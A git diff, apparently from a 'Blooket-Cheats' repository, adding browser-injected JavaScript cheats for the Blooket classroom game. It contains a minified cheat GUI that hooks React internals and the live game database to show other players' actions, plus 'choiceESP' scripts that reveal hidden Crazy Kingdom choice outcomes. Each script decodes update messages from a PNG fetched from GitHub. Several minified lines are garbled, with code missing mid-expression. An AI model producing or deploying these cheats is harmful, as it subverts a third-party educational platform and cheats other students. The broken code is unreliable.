"+e})))},addAlert(e,t,a){return this.element.firstChild.prepend(v("li",{style:{margin:"5px"}},v("img",{src:t||this.blookData?.Black?.url,alt:"blook",draggable:!1,style:{height:"22.5px",margin:"0 10px -5px 0"}}),v("strong",{},e)," ",a))},connection:null,data:{},updateLeaderboard(e){this.leaderboardEl||this.addLeaderboard(),this.leaderboard.innerHTML="";for(var{blook:t,name:a,value:o}of e)this.leaderboard.append(v("li",{style:{fontSize:"2rem",paddingInline:"72px 15px",paddingBlock:"1.25px",position:"relative"}},v("img",{src:this.blookData?.[t]?.url||this.blookData.Black.url,alt:t,draggable:!1,style:{height:"45px",position:"absolute",left:"15px"}}),a,v("span",{innerText:this.parseNumber(parseInt(o)),style:{float:"right"}})))},parseNumber(o=0){var s=o;if(o<1e3)return s.toString();var e=["","K","M","B","T"],a=Math.floor((o.toString().length-1)/3);if(a{t.cache=a.c}},[[""]]]).cache).find(e=>e.exports?.a?.Alice&&e.exports?.a?.Alien).exports.a,this.element.append(this.leaderboardEl=v("div",{id:"leaderboardContent",style:{position:"absolute",inset:"110% 0px"}},v("div",{style:{alignItems:"center",boxSizing:"border-box",display:"flex",flexDirection:"row",flexWrap:"wrap",justifyContent:"space-evenly",padding:"20px 5px 20px",position:"relative",width:"100%",fontFamily:"Nunito, sans-serif",fontWeight:"400",color:"var(--textColor)",background:"var(--contentBackground)",boxShadow:"inset 0 -6px rgb(0 0 0 / 20%)",borderRadius:"7px"}},v("div",{className:"headerText",style:{boxSizing:"border-box",display:"block",height:"45px",left:"-10px",padding:"4px 4px 8px",position:"absolute",top:"-28px",backgroundColor:"#ef7426",boxShadow:"0 4px rgb(0 0 0 / 20%), inset 0 -4px rgb(0 0 0 / 20%)",borderRadius:"7px"}},v("div",{style:{alignItems:"center",boxSizing:"border-box",display:"flex",height:"100%",justifyContent:"center",padding:"0 15px",width:"100%",fontFamily:"Titan One, sans-serif",fontSize:"26px",fontWeight:"400",textShadow:"-1px -1px 0 #646464, 1px -1px 0 #646464, -1px 1px 0 #646464, 2px 2px 0 #646464",color:"white",background:"linear-gradient(#fcd843,#fcd843 50%,#feb31a 50.01%,#feb31a)",borderRadius:"5px"},innerText:"Leaderboard"})),v("div",{className:"alertContainer",style:{margin:"15px 15px 5px 15px",backgroundColor:"rgb(0 0 0 / 50%)",width:"95%",height:"370px",borderRadius:"7px",display:"flex",alignItems:"center",justifyContent:"center"}},this.leaderboard=v("nl",{className:"alertList",style:{marginTop:"10px",padding:"0",listStyleType:"decimal",width:"100%",height:"355px",overflowY:"scroll",wordWrap:"break-word"}})))))},async connect(){try{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];if(!e?.props?.liveGameController?._liveGameCode)return!1;this.connection=await e.props.liveGameController.getDatabaseRef("c");const w=this.blookData=Object.values(webpackJsonp.push([[],{"":(e,t,a)=>{t.cache=a.c}},[[""]]]).cache).find(e=>e.exports?.a?.Alice&&e.exports?.a?.Alien).exports.a,k=this.getGamemode(),C={lb:"Lunch Break",as:"Ad Spam",e37:"Error 37",nt:"Night Time",lo:"#LOL",j:"Jokester",sm:"Slow Mo",dp:"Dance Party",v:"Vortex",r:"Reverse",f:"Flip",m:"Micro"};this.connection.on("value",e=>{var t=e.val()||{};if(t&&this.diffObjects(this.data,t)){var a,o,s,n,r,i,l,c,d=this.diffObjects(this.data,t);this.data=t;let e;switch(k){case"racing":e=Object.entries(t).map(([e,{b:t,pr:a}])=>({name:e,blook:t,value:a||0}));case"classic":e=Object.entries(t).map(([e,{b:t,p:a}])=>({name:e,blook:t,value:a||0}));case"royale":e=Object.entries(t).map(([e,{b:t,e:a}])=>({name:e,blook:t,value:a||0}));case"workshop":e=Object.entries(t).map(([e,{b:t,t:a}])=>({name:e,blook:t,value:a||0}));case"brawl":e=Object.entries(t).map(([e,{b:t,xp:a}])=>({name:e,blook:t,value:a||0}));case"defense":case"defense2":e=Object.entries(t).map(([e,{b:t,d:a}])=>({name:e,blook:t,value:a||0}));case"gold":for(const h in d)d[h].tat&&([a,o]=d[h].tat.split(":"),"swap"==o?this.addAlert(h,w[t[h].b]?.url,"just swapped with "+a):this.addAlert(h,w[t[h].b]?.url,`just took ${this.parseNumber(parseInt(o))} gold from `+a));e=Object.entries(t).map(([e,{b:t,g:a}])=>({name:e,blook:t,value:a||0}));break;case"hack":for(const b in d)d[b].tat&&([s,n]=d[b].tat.split(":"),this.addAlert(b,w[t[b].b]?.url,`just took ${this.parseNumber(parseInt(n))} crypto from `+s));e=Object.entries(t).map(([e,{b:t,cr:a}])=>({name:e,blook:t,value:a||0}));break;case"fishing":for(const g in d)"Frenzy"==d[g].f?this.addAlert(g,w[t[g].b]?.url,"just started a frenzy"):d[g].s&&this.addAlert(g,w[t[g].b]?.url,`just sent a ${d[g].f} distraction`);e=Object.entries(t).map(([e,{b:t,w:a}])=>({name:e,blook:t,value:a||0}));break;case"dino":for(const y in d)d[y].tat&&([r,i]=d[y].tat.split(":"),"true"==i?this.addAlert(y,w[t[y].b]?.url,`just caught ${r} CHEATING!`):this.addAlert(y,w[t[y].b]?.url,"investigated "+r));e=Object.entries(t).map(([e,{b:t,f:a}])=>({name:e,blook:t,value:a||0}));break;case"cafe":for(const v in d)d[v].up&&([l,c]=d[v].up.split(":"),c)&&this.addAlert(v,w[t[v].b]?.url,`upgraded ${l} to level `+c);e=Object.entries(t).map(([e,{b:t,ca:a}])=>({name:e,blook:t,value:a||0}));break;case"factory":for(const f in d){var p,m,u=d[f];u.g?this.addAlert(f,w[t[f].b]?.url,`activated the ${C[u.g]} glitch!`):u.s?([p,m]=u.s.split("-"),this.addAlert(f,w[t[f].b]?.url,`has a ${p} ${m} synergy!`)):u.t&&this.addAlert(f,w[t[f].b]?.url,"now has 10 Blooks!")}e=Object.entries(t).map(([e,{b:t,ca:a}])=>({name:e,blook:t,value:a||0}))}this.updateLeaderboard(e.sort((e,t)=>t.value-e.value))}})}catch{return!1}},diffObjects(e,t){var a,o={};for(const s in e)s in t&&("object"==typeof e[s]&&"object"==typeof t[s]?(a=this.diffObjects(e[s],t[s]))&&0!==Object.keys(a).length&&(o[s]=a):JSON.stringify(e[s])!==JSON.stringify(t[s])&&(o[s]=t[s]));for(const n in t)n in e||(o[n]=t[n]);return 0==Object.keys(o).length?null:o},getGamemode(){switch(window.location.pathname){case"/play/racing":return"racing";case"/play/factory":return"factory";case"/play/classic/get-ready":case"/play/classic/question":case"/play/classic/answer/sent":case"/play/classic/answer/result":case"/play/classic/standings":return"classic";case"/play/battle-royale/match/preview":case"/play/battle-royale/question":case"/play/battle-royale/answer/sent":case"/play/battle-royale/answer/result":case"/play/battle-royale/match/result":return"royale";case"/play/toy":return"workshop";case"/play/gold":return"gold";case"/play/brawl":return"brawl";case"/play/hack":return"hack";case"/play/fishing":return"fishing";case"/play/rush":return"rush";case"/play/dino":return"dino";case"/tower/map":case"/tower/battle":case"/tower/rest":case"/tower/risk":case"/tower/shop":case"/tower/victory":return"doom";case"/cafe":case"/cafe/shop":return"cafe";case"/defense":return"defense";case"/play/defense2":return"defense2";case"/kingdom":return"kingdom";default:return!1}}}]};function j(e,t){var a,o,s=0,n=0;e.onpointerdown=function(e=window.event){s=e.clientX,n=e.clientY,document.onpointerup=function(){document.onpointerup=null,document.onpointermove=null},document.onpointermove=function(e=window.event){a=s-e.clientX,o=n-e.clientY,s=e.clientX,n=e.clientY;t.style.top=t.offsetTop-o+"px",t.style.left=t.offsetLeft-a+"px"}}}C("Alerts",null,S.alerts,!0),C("Global","https://media.blooket.com/image/upload/v1661496291/Media/uiTest/Games_Played_2.svg",S.global)(),C("Gold Quest","https://media.blooket.com/image/upload/v1661496292/Media/uiTest/Gold.svg",S.gold),C("Cafe","https://media.blooket.com/image/upload/v1655161189/Media/survivor/Pizza_lvl1.svg",S.cafe),C("Crypto Hack","https://media.blooket.com/image/upload/v1661496293/Media/uiTest/CryptoIcon.svg",S.crypto),C('Deceptive Dinos',[''],S.dinos),C('Tower Defense',[''],S.defense),C('Tower Defense 2',[''],S.defense2),C("Factory","https://media.blooket.com/image/upload/v1661496293/Media/uiTest/Factory_Upgrades.svg",S.factory),C('Fishing Frenzy',"https://media.blooket.com/image/upload/v1661496295/Media/uiTest/Fish_Weight.svg",S.fishing),C("Flappy Blook","https://media.blooket.com/image/upload/v1645222006/Blooks/yellowBird.svg",S.flappy),C('Tower of Doom',[''],S.doom),C('Crazy Kingdom',"https://media.blooket.com/image/upload/v1655161323/Media/survivor/Jester_lvl1.svg",S.kingdom),C("Racing","https://media.blooket.com/image/upload/v1661496295/Media/uiTest/Racing_Progress.svg",S.racing),C("Battle Royale","https://media.blooket.com/image/upload/v1655936179/Media/br/VS_Lightning_Bolt_Bottom.svg",S.royale),C("Blook Rush","data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAYAAADDPmHLAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAADdgAAA3YBfdWCzAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAA7YSURBVHic7Z17tFxVfcc/e59zZib3kcfN456YQObOTB43PBIKoeIqSlwIBXwiCCytXe2qxabSWrAqLKmwXKthVRe2BFxitYpasSIPV0sI8mhV5GHVdpWaoCRIvAnZSW/uzeuG3Nec/jFzk8mYOXNm73PmeT7/zt6/s+/d399vv/cWnufRSSilZgEXAZcBl42MHF5m23KrlPJBKcU9mUx6pLElrC+iEwSglFpOscIpVH5q5rfh4YPH0wkBlmUNW5b8oZTyi9ls+ol6l7XetKUAyrz8ciBbKW2pAMqRUk62e3RoGwH4ebkffgIopV2jQ8sKoOjl6zlR6RW93I+gAiinGB22SSkfklJsatXo0FICUEqt4ESFv4WAXu6HrgBKKYkOPypGh+8bG60TTS0ApVQXJ3t5JuxvhCGAcorR4aVidLg7k0kPh/6RkGg6AUTh5X5EIYBSmj06NFwA9fByP6IWQDnNFh0aIgCl1EpO9vJk3QtRpN4CKKUYHfYXo8O92Wx6S93LUA8BFL38rZyo9IHIPxqQRgqgHCnlVEl02FSP6BCZAIpefjmFCn8zDfRyP5pJAKWURIdnin2HSKJDaAJQSnVzclveNF7uR7MKoJyy6HBPJpPeF4ZdIwEopVZxosKb1sv9aBUBlFIWHb6UzaY3a9uqRQBFLy9ty9O6H24WWlEA5RSjwy+llA8X+w6Bo0NVASilBjlR4RfSgl5+KiY9eP6g4IWhad7Xf4Qu2VzzIboUo8NISXR41De9nwCUUpcAj4ddyEaxaxyeHhU8PQLPHBSMTQP7FoHwWDBrnPPnjXFd/yHW9kw0uqihkUolbsnlBjZW+t2ukl+GXJ66MunBcwcFT48WKv7loxUSeoLhoyk2H02xefd8HHuK5b2v8/sLj3DNosOtHh0svx+rCaDlKPXyHx0UHJ2u3cbklM3W0V62jvZy58tu20YHaAMBTOTh+UMBvFwXn+hw9cLD9FgtHR1aUwBDx4pePlpoy3W8XJfy6DD/eHQ4zDk94/UrSEi0hAAm8vDcjJePCLa/3ugSFfEE+4+meOxoisd2z8dxCtHhkvmFvkMrRIemFcBvSrz8x3X2cl0mJ222jvSydaSXv9/uMr9rnHVzxri2/zDn9jZndGgaATStl+viCfaPpdgylmLLa80bHRoqgFIvf+aA4PV8I0sTLc0aHeoqgBkvf2qkUPE7Wt3LdSmPDvYUudmF6HBtnaND5ALYWdqWt7mX6zI5ZbNtpJdtI738w3aXvlnjrJtXiA7nRTyyiEwAvxiDP31J8kqnerkunmDkaIrHj6Z4vDjvsHHVHi7tC3uCo0BkU737JkRc+SEwOWXz6rgTmf2WnuuPMScWQIcTC6DDiQXQ4cQC6HBiAXQ4sQA6nFgAHU4sgA4nFkCHEwugw4kF0OHEAuhwYgF0OLEAOpxqAtDei2sL3Zwx5SQx2kY16fdjNQFob+mYazfHrtd2YFFCf0+8EOKw3+/VBKC9D2lu02w4b30WJ40ORRzw+zG6CBDdLqaO4w3JKZPsvjdgRBYBeq24HxAKAvodowhgJACjbZ1z4mbAGCHM9tELge8l1pEKIO4HmGNL44MUo34/VhPAEUD7RoR5sQCMSVjGAtjr96OvAFzX9YBdul+e68RDQVOSBgKQUk5mMmlfA0FmAod0CxA3AeZ02SYCEGNV0wSwoy2ABfFQ0Jg5tv4QUAjh2/5DxAI4o1s3Z8wMqw0OhwohVLU0kQpgTU/cBzDlonn6AzEhxM5qaYIIoKqRSmS7oMf3lroYP4TweNNsEwHwUrU0QQTwM90CSOCsHt3cMT3JSaPZVCnFg1XTVEvguu5e4BXdQsTNgD6ndx3TzlscAv5v1XQB7T2rW5A1cQTQZk2vvgAsSwaav4leAL1xBNBl/Tz9W0GklC8EShfQ3nO6BUmnYHY8IVQzQnqcP1t/CCileCRQuoD2XqSwLlAzgrgfoENvckJ7w6YQwhOCh4OkDfQN13WngUAh5VSc26ubs3PJdRu1/6OZTDrQIl4tItPuB7xzQRwBauUPFus/ZWNZ8hdB09ZFAIPdsKpLN3fnkXCmuNhsBjDw87S1COB5QNuVr1wUR4GgrOvT6m4dR0rxjcBpgyZ0XfcAsE2rRMB7FnrEWwSD8eElVRfxKmJZcjyTSQeevq+1o6ndDCxNwrrZurk7h57khNGzNJYlX60lfa0C+GGN6U/iyoVxM1CNCxf4nuOoipTyP2pKX6P9h4Gqu0wq8Y4FXrxV3A8BG5b6nuPwzy4EUopP15KnJgG4rnsEeKCmUpXQ58BF8+IoUIm+WcdIGxwCsW1reyaT9t0EWo7OZNNXNfIc5z0LTXK3N5cuNAv/ti3vqjWP1uPRSqmXgVzNGSk8GvHGn0n2NMsTOvsWNboEAFjWNM+8cYf2YxFSysnVq5cnas6n9TX4mmY+EhI+elrcDJRzqXvA6KUQx7F+oJNPVwD3gf6h9ev6PZa2xRPU4WBZ09w+sN/IhpTyFq18Oplc190FPKGTF8ARcRQo5YrFB0gZvE9s29ZwNpv+T528JlfE/JNBXq7p91iWMrHQHtjWNJ9Om3m/bVvf1M1rIoDvgf/JUz9sATeeHkeBdy0ZIWHg/UIIr9axfynaAnBddxz4lm5+gPcu9MjMMrHQ2jj2FJ9Ka/tQwYZjvZjJpA/p5je9JcyoGbAE3NTBUeDKJaPGz7ZZlnWHSX6teYBSlFI/B87RzZ8H1v9c8qtoXkWrToPmARL2FC9csMNoatyy5OuDg8uNdlqEcU/graYF+Gwu33EXFv51bq/xuojj2H9nWg7j/7vruo8CT5rYOH82/NnSzmkKzpp/iGsXmW36sG1rJJcbuM20LGE53k0YTAwBfGKZx+oOOE2cdCb58mDVQ7tVcRz7+hCKE44AXNf9Hww7hI6ATSvyOG29XOyxcdUeugyGfQCJhP3LbDb93TBKFGbT+ynAaDlrdTd8fFn7NgW/13+Atxls9oTCuN+2ratCKlJ4AigeIjUakgBsWOq15dax7tQEm1bsM7aTSNhPBjn0GZSwO993Ar8xMSApNAXd7XSvgPC4e/Vrxr1+KeWUZcn3hVOoos0wjbmuewz4pKmdZSm4baB9moK3LxnhPIOrXmZIJOwvZjJp/T1jpyCK4fe3MThGNsMHXI9r+ltfBKfPHmNjZtjYjm1bR6QUfxlCkU4idAEU7xa8MQxbn8t5XNzXuiLo6zrGw2fvDsWW49gfq3bnnw6RTMC5rvss8B1TO7aAL63yOK8FD5d2Jyf43toho5W+GRzHHspm0/eGUKzfIsoZ2I9S5ZrSIMyS8I0z8qxoobOFCXuKB9YOMdfgkscZpBR527beGUKxTm0/KsOu6+4BrsPg2ZkZ5trw7TPyvKEFtpFZ1jT3rRniNLM7/o+TTDofy2bT/x2KsVMQ6RqM67r/juFi0QyLkwURNPP1s0LkuevM3ZzZrX+0q5Rk0vl+Njvw+VCMVaAei3B3AP8WhqHlXYXmYFYzLh0Kj79ZtYc3zzGb6ZvBcay9liUvC8WYD5H/K4ujgg8Cr4Zh77xe+PKgR6qZRCA8PpLby1ULzVb4ZpBSTjmOfUEUvf7f+lbUHwBwXXcUuBoI5TjIW+d5PHJ2nv6aj0GEj5R5/nb1Lq43uNGjFCEgmXT+OJNJ/zoUg1Womx+5rvtTCiODUFjTA4+tyTf0QupUYpJ/Pmcn75gf3namRCJxfzabDnzBgynGW8JqRSn1TeD9Ydk7Og1//ivBlv2aE+2aW8IWdB/jwbN30Wf2oNNJOI796sqV2YHQDAagES3p9UDgS4yq0WXBVwY9NtRxR9FZ8w/xxO/sDLXyLUuOO471u6EZDEjdBeC67hhwFZr3Dp4KCdya9rhzuRf5hpJ3nzbMt87YE+o9B0IIL5Fwrsxk0ubrxTXSkL6067ovAR+gyru2tXJdv8e/nJmP5LEqIfN8cuVrfMbwDN+pSCadO7LZ9ObQDQeg7n2AUpRS76KwZhBqf373OHxiu+Cp0QBuGqAP0Nd1jLsG97AmpAmeUlKpxMZcbkDrYGcYNFQAAEqpy4GHgNAneh/5P8GtrwiG/eKMjwCkzHPtacPcvEz/1q5KFIZ7idtyuYHbQzdeSzkaLQAApdQlwCNA6AfFDk7B7b8W3L+3QjSoIIBls8e4d1CxJKQ5/VKEECSTzi253MDG0I3XWpZmEACAUmo98K9AJCP7Hx8UfHy74JXymdoyAdj2NH+V3csH+82ua6mEEIJUyrkx6jn+oDSNAACUUhcCm4FInpkYz8PnhwRf2CWYnPmzSwSwdsEhvrByL73mr3WeEiGEl0o5N2SzA/dE8gENmkoAAEqpC4AtQGR7g7eNwc07JC8cAvYtoic5wWdWKKP7eatRqPzE9dls+h8j+4gGTScAAKXUOuBxYF6U33lyRPDskMeGJeHM41eiWPl/lM2m74v0Qxo0pQAAlFLnULiGZn6U3xkerkvlvz+bTd8f6Yc0aaZF1ZNwXfe/gPVAXVbFokBKOZVKJa5q1sqHJhYAgOu6LwJrgab9B1bCceydqZSTzmbTDzW6LH40bRNQjlLqD4G7CXmEEHYTIITwkknnK7ncwIdCNRwRTR0BSnFd9z4KN5H8tNFlqYRlWWOpVOJtrVL50EICAHBddzvwJuCzGLxeEgWJhPOTZNJelM2mn2p0WWqhZZqAcpRSFwNfBxab2DFtAqQU+UTCuTmXGzC+rqURtKwAAJRSCyncXn6Frg0TATiOtc9x7LdkMumqr3Q3Ky0tgBmUUjdQaBZqXlHUEYAQkEg4312+PHN1zZmbjJbqA1TCdd1NwLkY3F8cFNu29qdSyXe3Q+VDm0SAUpRSVwCfA1YFSR80AliWnHAce2MYN3M1E20RAUopXlt3FnADYLx/qziufyCZdOa0W+VDG0aAUpRSc4GbgQ1UmECqFAGEEJ7j2D+xbXlNLe/wtRptLYAZlFJ9FCLCXwB9pb+VC6CwQ9f+gWXJP8lk0jvqV8rG0BECmEEp1UPhXMJNFOcPZgQgpcg7jv2oZckP1fryVivTUQKYQSmVpHBg9cOjo4dXOY79oJTiIybXrrcq/w99zo6mO4xCQAAAAABJRU5ErkJggg==",S.rush),C('Monster Brawl',[''],S.brawl),C('Santa\'s Workshop',[''],S.workshop),C("Settings",null,S.settings,!0),j(h,k),j(g,k),window.addEventListener("keydown",N);let M=setInterval(()=>{S.alerts[0].connection?clearInterval(M):S.alerts[0].connect()},5e3);function O(){k.remove(),clearInterval(M);for(const e in S)for(const t of S[e])t.enabled&&t.run();Object.keys(S).forEach(e=>S[e].forEach(e=>e.enabled&&(e.run(),x(...currentMode)))),window.removeEventListener("keydown",N)}function N(e){var t=d.data.hide||{ctrl:!0,key:"e"},a=d.data.close||{ctrl:!0,key:"x"};(t.ctrl&&e.ctrlKey||!t.ctrl&&!e.ctrlKey)&&(t.shift&&e.shiftKey||!t.shift&&!e.shiftKey)&&(t.alt&&e.altKey||!t.alt&&!e.altKey)&&e.key.toLowerCase()==t.key?(e.preventDefault(),k.style.display="block"===k.style.display?"none":"block"):(a.ctrl&&e.ctrlKey||!a.ctrl&&!e.ctrlKey)&&(a.shift&&e.shiftKey||!a.shift&&!e.shiftKey)&&(a.alt&&e.altKey||!a.alt&&!e.altKey)&&e.key.toLowerCase()==a.key&&(e.preventDefault(),O())}function T(c,d=window){return new Promise(t=>{const a={};let o,s,n,r;const i=e=>{e.preventDefault(),a[e.code]=!0,o||=e.shiftKey,s||=e.ctrlKey,n||=e.altKey,["shift","control","alt","meta"].includes(e.key.toLowerCase())||(r=e.key.toLowerCase()),c?.({shift:o,ctrl:s,alt:n,key:r})},l=e=>{delete a[e.code],0{var t,a;"cheatName"!=e.target.className&&"scriptButton"!=e.target.className?"0"!=y.style.opacity&&(y.animate([{opacity:.9},{opacity:0}],{duration:200}),y.style.opacity="0"):(e="scriptButton"==e.target.className?e.target:e.target.parentElement,y.innerText==e.dataset.description&&"0.9"==y.style.opacity||(t=e.getBoundingClientRect(),a=e.offsetParent.getBoundingClientRect(),y.innerText=e.dataset.description,"0"==y.style.opacity&&(y.animate([{opacity:0},{opacity:.9}],{duration:200}),y.style.opacity="0.9"),y.style.left=t.x-a.x+(t.width-y.clientWidth)/2+"px",y.style.top=t.y-a.y+t.height+"px"))})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/gui.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],a="",o;for(let e=0;e(l.src=null,i())})(); \ No newline at end of file diff --git a/cheats/kingdom/choiceESP.js b/cheats/kingdom/choiceESP.js new file mode 100644 index 0000000..d9c9cb8 --- /dev/null +++ b/cheats/kingdom/choiceESP.js @@ -0,0 +1,59 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let stats = ['materials', 'people', 'happiness', 'gold']; + let elements = Object.fromEntries([...document.querySelectorAll('[class^=styles__statContainer]')].map((container, i) => [stats[i], container])); + let { guest: data, phase } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state; + if (phase == "choice") { + Array.from(document.getElementsByClassName('choiceESP')).forEach(x => x.remove()); + Object.entries(data.yes || {}).forEach(x => { + if (x[0] == 'msg' || !stats.includes(x[0])) return; + let element = document.createElement('div'); + element.className = 'choiceESP'; + element.style = 'font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;'; + element.innerText = String(x[1]) + elements[x[0]].appendChild(element); + }) + Object.entries(data.no || {}).forEach(x => { + if (x[0] == 'msg' || !stats.includes(x[0])) return; + let element = document.createElement('div'); + element.className = 'choiceESP'; + element.style = 'font-size: 24px; color: darkred; font-weight: bolder;'; + element.innerText = String(x[1]) + elements[x[0]].appendChild(element); + }) + } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/kingdom/choiceESP.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272373 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/kingdom/choiceESP.min.js b/cheats/kingdom/choiceESP.min.js new file mode 100644 index 0000000..5e8c29f --- /dev/null +++ b/cheats/kingdom/choiceESP.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let a=document.querySelector("iframe");a.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),a.contentWindow.console.log.call(window,"%c\tchoiceESP.js","color: #0bc2cf; font-size: 1rem"),a.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{let o=["materials","people","happiness","gold"],n=Object.fromEntries([...document.querySelectorAll("[class^=styles__statContainer]")].map((e,t)=>[o[t],e]));var{guest:e,phase:t}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state;"choice"==t&&(Array.from(document.getElementsByClassName("choiceESP")).forEach(e=>e.remove()),Object.entries(e.yes||{}).forEach(e=>{var t;"msg"!=e[0]&&o.includes(e[0])&&((t=document.createElement("div")).className="choiceESP",t.style="font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;",t.innerText=String(e[1]),n[e[0]].appendChild(t))}),Object.entries(e.no||{}).forEach(e=>{var t;"msg"!=e[0]&&o.includes(e[0])&&((t=document.createElement("div")).className="choiceESP",t.style="font-size: 24px; color: darkred; font-weight: bolder;",t.innerText=String(e[1]),n[e[0]].appendChild(t))}))};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/kingdom/choiceESP.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/kingdom/choiceESPLoop.js b/cheats/kingdom/choiceESPLoop.js new file mode 100644 index 0000000..5cc0d47 --- /dev/null +++ b/cheats/kingdom/choiceESPLoop.js @@ -0,0 +1,61 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + setInterval(() => { + let stats = ['materials', 'people', 'happiness', 'gold']; + let elements = Object.fromEntries([...document.querySelectorAll('[class^=styles__statContainer]')].map((container, i) => [stats[i], container])); + let { guest: data, phase } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state; + if (phase == "choice") { + Array.from(document.getElementsByClassName('choiceESP')).forEach(x => x.remove()); + Object.entries(data.yes || {}).forEach(x => { + if (x[0] == 'msg' || !stats.includes(x[0])) return; + let element = document.createElement('div'); + element.className = 'choiceESP'; + element.style = 'font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;'; + element.innerText = String(x[1]) + elements[x[0]].appendChild(element); + }) + Object.entries(data.no || {}).forEach(x => { + if (x[0] == 'msg' || !stats.includes(x[0])) return; + let element = document.createElement('div'); + element.className = 'choiceESP'; + element.style = 'font-size: 24px; color: darkred; font-weight: bolder;'; + element.innerText = String(x[1]) + elements[x[0]].appendChild(element); + }) + } + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/kingdom/choiceESPLoop.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272407 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/kingdom/choiceESPLoop.min.js b/cheats/kingdom/choiceESPLoop.min.js new file mode 100644 index 0000000..1e4ccba --- /dev/null +++ b/cheats/kingdom/choiceESPLoop.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let a=document.querySelector("iframe");a.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),a.contentWindow.console.log.call(window,"%c\tchoiceESPLoop.js","color: #0bc2cf; font-size: 1rem"),a.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{setInterval(()=>{let o=["materials","people","happiness","gold"],n=Object.fromEntries([...document.querySelectorAll("[class^=styles__statContainer]")].map((e,t)=>[o[t],e]));var{guest:e,phase:t}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state;"choice"==t&&(Array.from(document.getElementsByClassName("choiceESP")).forEach(e=>e.remove()),Object.entries(e.yes||{}).forEach(e=>{var t;"msg"!=e[0]&&o.includes(e[0])&&((t=document.createElement("div")).className="choiceESP",t.style="font-size: 24px; color: rgb(75, 194, 46); font-weight: 